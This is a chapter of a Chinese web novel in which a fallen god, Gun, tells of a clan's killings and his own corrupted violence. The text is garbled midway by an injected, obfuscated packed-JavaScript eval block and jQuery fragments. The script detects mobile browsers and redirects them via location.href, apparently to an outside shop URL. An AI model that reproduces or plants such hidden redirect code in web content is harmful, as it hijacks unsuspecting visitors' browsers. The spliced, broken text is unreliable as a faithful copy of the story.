18. 妖鲧流离(六)
作品:《男主是只花孔雀》 他这么坦荡,花青螺也就不藏着掖着了,三言两语就跟他说清楚了伍氏有一本忏悔录,将他们几代人做的孽都记载下来了。
其中,关于他们放火烧山,将曾经的天神鲧变成了如今的妖鲧占了很大的篇幅。
他们仔细看过,差不多是占据了全书的三分之二左右。
妖鲧早就不在乎伍氏先祖都做了什么了,最难熬的那些日子,他打坐都不敢闭上眼睛。
一听见丛林里面有了风吹草动,鸟鸣乌啼,立马就将自己坐卧的地方用枯树枝掩盖好,躲起来。
几年,十几年,几十年躲在山里不敢靠近任何人。
怅望千秋一洒泪,萧条异代不同时。
一个天神堕落至此,荆时晗也不知道还能说什么安慰他。
扫眼跟荆时晗交换了一个眼神,他示意让她开口。
作为南自山孔雀神庙的人,他不好站在神仙的立场去谴责凡人。
可她不一样,她本身就是人,架起了这一座桥梁,由她来开口是最合适不过了。
“天神鲧,我们确实是想知道呢为何要杀人,要将他们都分成尸块,随意抛弃在羽山之间,在长河之中。”
她吐字清晰,每一个字都直戳人心,让妖鲧感受到了别样的滋味。
又担心他情绪不稳定可能会伤害到她,话音刚刚落下之际就往花青螺所在的方向靠了靠。
已经很久没有人叫过“天神鲧”这个称号了,他仰头看着自己住了几十年上百年的山洞,头一回生出了几分感情来。
翎羽在他的头顶上有了光亮,好像前程也并不是一片灰暗。
还没开口将那些无法诉诸于口的委屈说出来,两行清泪就缓缓落下了。
作为一个天神,他也并不是一开始就会杀人的。
砍树杀灵,放火烧山这些他都能忍,只是后来那些人越来越过分。
不都说是,“人之初,性本善”吗?
他在伍氏代代相传下来的子子孙孙中并未看到良善,后来会开始动手惩戒,完全是因为亲眼瞧见了他们摔死了外来的一个女人和孩子。
他想出手相助,可没有了香火供奉,才刚修炼了几年并没有什么法力。
眼睁睁地瞧见他们被推下羽山,摔死在自己面前。
伍氏族人还吆喝着拍手称快,大声叫好。
甚至还有人提议,试一试他们新做的大刀快不快,拿来将那有了身孕的女子已经刚刚出生没多久的孩子的尸体剁成几块。
我再见到那些尸块时,已经被山中的狼狗啃食得只剩下一点骨头渣子了。
羽山上原来是有些野生的狼群的,可他们被伍氏的那些人搞死了不少,只能选择换了一座山生活。
历经了伍氏的两代族人,他们的族老也换了好几人,可村中对于远行人的杀戮却从未停止。
为了教化他们,不再做出伤天害理的事儿,先后利用梦境,羽山和长河对他们进行警示。
无一例外地不起任何左右。
后来,他们发现了羽山上还活着一个我,用尽了各种各样的法子逼我出去就范,身上的这些伤痕也是在那个时候留下的。
真是闻着伤心,听着落泪,荆时晗坐在那儿,一条手帕浸湿了半条。
还是旁边的花青螺看不下去了,两根修长的手指伸出来对着手帕转了一圈,又恢复成完好无损的干净手帕了。
鲧的这一段话透露了几个关键的信息。
在人间的上百年,竟然没有天庭中的任何一位神仙下界考核他们的香火功德。
人间也是,这么一群穷凶极恶的人,朝廷和府衙竟然都不管吗?
压下了心头的疑问,又接着听他说后续发生的事情。
终有一日,我在山洞中醒来,就发现自己身上的污浊之气已经让我的身体正在慢慢变黑。
我知道,若有一天被污浊之气完全吞噬的话就真的会彻底堕落成妖鲧了。
污浊之气时不时就会影响着我,让我像那些伍氏族人一样作恶,去杀人分尸。
刚开始,清醒的时候很少,就一直杀人见血,那个时候我居然发现自己会很兴奋。
一种前所未有的快感布满全身,充斥着我的内心。
可每每清醒过来的时候又会觉得无比懊恼,我不是神吗?
神的职责不是造福苍生百姓吗,怎么可以被污浊之气控制去伤害凡人呢?
我开始试着做点什么来改变自己,不受污浊之气的控制。
收集晨露的时间越来越长,那里面包含了天地之间的灵气,也能让我这个已经堕落成妖的天神短暂清醒。
当日在羽山脚下遇见你们,一眼就看出来你们二位与那只鸟都与常人不同。
我不愿意让三位丧命于此,或死在我被污浊之气控制之手,或葬身于伍氏族人。
故而设计了这么一出,目的就是让你们三人快些离开,不要在羽山停留。
花青螺接着他的话说下去,“所以你就挑选了我们三人之中看起来最弱的,也是最好下手的荆时晗,搞了一些小动作。”
“然后在羽山脚下的村中,你又发现了我来自南自山孔雀神庙,又不敢轻举妄动,只是和我过了两招就匆匆离开了。”
妖鲧点头肯定了他说的话,这确实是他心中所想。
只是没有想到,才压制下去的污浊之气竟然因为这一次出手又反噬了,而且较之前更为严重。
连续服用了好几大碗晨露都不管用了,开始直接暴走,往山脚下去杀了好几人。
杀红了眼,竟然连孩子都没有放过,还残忍地将尸体抛入了长河以及古井之中。
“那个时候,你的心里肯定也不好受吧,被污浊之气控制着,清醒过来的时候该是多么绝望呀。”荆时晗感同身受,也不忍心让他继续这日复一日的折磨。
妖鲧苦笑着摇了摇头,眼眶含泪,嘴唇也有些颤抖,“沦为妖鲧的第一天,我就知晓了自己的结局。”
“之所以还苦苦支撑着,不过是等着有朝一日天庭降罪,将我投入十八层炼狱罢了。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118193|195538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
她抓住了荆时晗的衣袖,用眼神询问这是不是真的。
仿佛只要他肯定了妖鲧的答案,她就能将人护在身后,不允许任何人伤害他一样。
既然已经出来跟着他走了这么多路了,该让她见的世面还是得让她知晓的,否则不是跟个井底之蛙一样,永远活在“荆府”,活在“百里城”这样的小地方。
他耐心地跟荆时晗解释了不止人间有律法,天庭也是有天规来约束每一位天神的。
其中,跟凡人打交道中最重要的一条就是,不允许伤害凡人,若是杀害了凡人一律打入十八层炼狱,视情节轻重而判刑千万年。
这一点,对任何人都不例外。
听说早些年头,王母娘娘收了一个仙婢当义女,后来她因为自己的一己之私杀害了一名凡间男子。玉帝和王母就一点情面都没有给,直接将她贬为凡人,到十八层炼狱去受苦了。
罚了三百年,至今都还在里面熬着呢。
荆时晗的另外一只手也搭了上来,哭丧着一张脸询问,“难道真的没有别的办法了吗?他可是天神鲧呐,当初为我们凡人做了这么多,就要眼睁睁地瞧着他堕入十八层炼狱而无动于衷吗?”
他没有说完的是,南自山和孔雀神庙不受天庭差遣,若是他们插手,确实有能转圜的余地。
只是这话,只能意会不能言传,若上达天听,就会变成公然挑衅天庭。
变味了,也会给他们南自山带来麻烦。
既如此,那还不如不说。
他将两人招呼来面前,知晓了羽山、伍氏族人,还有天神鲧的前尘往事,那接下来最重要的就是将这些剪不断理还乱的东西一剪子清除干净,还这儿一个盛世安宁。
这事儿说起来简单,可做起来难呀。
头一个最重要的就是,伍氏族人犯错的是他们的先祖,这报仇也得找对人呀。
虽说父债子还,可都过去多少年了,难道还要把他们挖出来鞭尸,训诫后人不得再烧山放火不成?
荆时晗默默听着他们俩一人一句地讨论着之前用过的法子,心里有了盘算。
“我有一个主意,不知当讲不当讲。”
妖鲧如今对她已经不敢小觑了,光是身上能怀揣渡生珠这一点,就知晓前世今生都不会是一个普通人。可惜了他的法力大多用来压制污浊之气了,看不出来她身上藏着的秘密。
“荆姑娘,有想法请说,无论如何都是新的一条路,一条能让我不再害人的康庄大道。”
“可是,我不知道能不能管用,更何况当初好像你都用过了......”
花青螺拍了拍她的肩膀,给足了她安慰和勇气,“当初用过的老法子未必不能再用,只要打得足够精准,何愁不能事半功倍呢?”
她长舒一口气,将自己脑海中的想法不吐不快,还着重分析了这个法子和当初妖鲧使用的不同之处。
若是真的能奏效,不必他们再做什么,伍氏族人自会耳提面命,教育子孙后代不再乱砍滥伐,放火烧山。

